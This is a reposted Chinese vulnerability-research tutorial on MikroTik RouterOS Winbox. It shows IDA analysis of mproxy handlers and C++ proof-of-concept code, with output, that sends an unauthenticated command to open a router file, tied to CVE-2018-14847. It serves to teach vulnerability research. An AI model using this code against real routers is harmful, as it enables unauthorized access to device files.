安全性堪忧:手把手教你寻找MikroTik路由器漏洞(3)
时间:2023-04-09 03:11 来源:网络整理 作者:默认发布 点击:次
这里是undo WinboxMessage处理的vtable。有一些函数直接对应我前面提到的内置命令(例如:0xfe0001由nv::Handler::cmdGetPolicies负责处理)。此外,我还突出标记了未知的命令功能,非内置命令将在这里实现。 由于非内置命令通常是最有趣的,所以我们将会跳转到cmdUnknown。我们可以看到,它会从基于命令的跳转表开始。 看起来,命令的编号从0x80001开始。稍微查看代码后,发现命令0x80002似乎有一个有用的字符串可以进行测试。那么,我们来看看是否可以达到“无需redo”的代码路径。 我们需要更新框架代码,以请求命令0x80002。我们还需要添加发送和接收逻辑。 WinboxMessage msg; msg.set_to(17); msg.set_command(0x80002); msg.set_request_id(1); msg.set_reply_expected(true); winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; }
std::cout << "resp: " << msg.serialize_to_json() << std::endl;
if (msg.has_error()) { std::cerr << msg.get_error_string() << std::endl; return EXIT_FAILURE; }
return EXIT_SUCCESS; 在编译并执行后,我们就得到了想要的“无需redo”。 albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 req: {bff0005:1,uff0006:1,uff0007:524290,Uff0001:[17]} resp: {uff0003:2,uff0004:2,uff0006:1,uff0008:16646150,sff0009:'nothing to redo',Uff0001:[],Uff0002:[17]} nothing to redo albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 5.3 突破口不止一个 在前面的示例中,我们查看了undo中的主处理程序,该处理程序可以简单地解析为17。但是,大多数二进制文件都有多个处理程序。在下面的示例中,我们将要检查/nova/bin/mproxy的第二个处理程序。我非常喜欢这个示例,因为这就是CVE-2018-14847的***面,并且这个示例有助于揭开这些奇怪二进制Blob的神秘面纱: 5.4 寻找处理程序 在IDA中打开/nova/bin/mproxy,找到nv::Looper::addHandler导入。在6.42.11中,addHandler只有两段代码交叉引用。在这里,很容易识别到我们感兴趣的处理程序,也就是第二个处理程序,因为在调用addHandler之前,处理程序标识符被压入栈中。 如果我们查看将nv::Handler*加载到edi中的位置,我们就会找到处理程序的vtable的偏移量。这个结构看起来有些熟悉: 在这里,我再次强调了未知的命令功能。这一处理程序的未知命令函数支持七个命令: 1、打开/var/pckg/中的文件以进行写入; 2、写入打开的文件; 3、打开/var/pckg/中的文件以进行读取; 4、读取打开的文件; 5、取消文件传输; 6、在/var/pckg/中创建一个目录; 7、打开/home/web/webfig/中的文件并进行读取。 其中,第4、5、7个命令不需要进行身份验证。 5.5 打开文件 我们尝试使用命令7,在/home/web/webfig/中打开一个文件。这是exploit-db截图中FIRST_PAYLOAD使用的命令。我们仔细查看代码中对命令7的处理,会发现它首先找到的是一个id为1的字符串。 字符串是我们要打开的文件名。我们来看一下,/home/web/webfig中的哪一个文件比较有趣呢? 事实上,我们在这里看不出来。但在list中,包含已经安装的软件包和其版本号的列表。 我们将打开的文件请求转换为WinboxMessage。返回到我们编写的代码,我们需要覆盖set_to和set_command代码,还需要插入add_string。因此我又重新修改了代码。 Winbox_Session winboxSession(ip, port); if (!winboxSession.connect()) { std::cerr << "Failed to connect to the remote host" << std::endl; return EXIT_FAILURE; }
WinboxMessage msg; msg.set_to(2,2); // mproxy, second handler msg.set_command(7); msg.add_string(1, "list"); // the file to open msg.set_request_id(1); msg.set_reply_expected(true); winboxSession.send(msg);
std::cout << "req: " << msg.serialize_to_json() << std::endl;
msg.reset(); if (!winboxSession.receive(msg)) { std::cerr << "Error receiving a response." << std::endl; return EXIT_FAILURE; }
std::cout << "resp: " << msg.serialize_to_json() << std::endl; 运行此代码后,我们应该能够看到如下内容: albinolobster@ubuntu:~/routeros/poc/skeleton/build$ ./skeleton -i 10.0.0.104 -p 8291 req: {bff0005:1,uff0006:1,uff0007:7,s1:'list',Uff0001:[2,2]} resp: {u2:1818,ufe0001:3,uff0003:2,uff0006:1,Uff0001:[],Uff0002:[2,2]} albinolobster@ubuntu:~/routeros/poc/skeleton/build$ 现在,应该可以看到服务器的响应中包含u2:1818。眼熟不? 由于运行需要较长时间,因此我把读取文件内容的这部分工作交给读者自行完成。在CVE-2018-14847的PoC中包含了读者可能需要的所有提示。 六、总结 (责任编辑:admin) |
- 上一篇:阿联酋努力争取更好地与神职人员萨德尔在努力遏制伊朗的关系
- 下一篇:如何防止网站被黑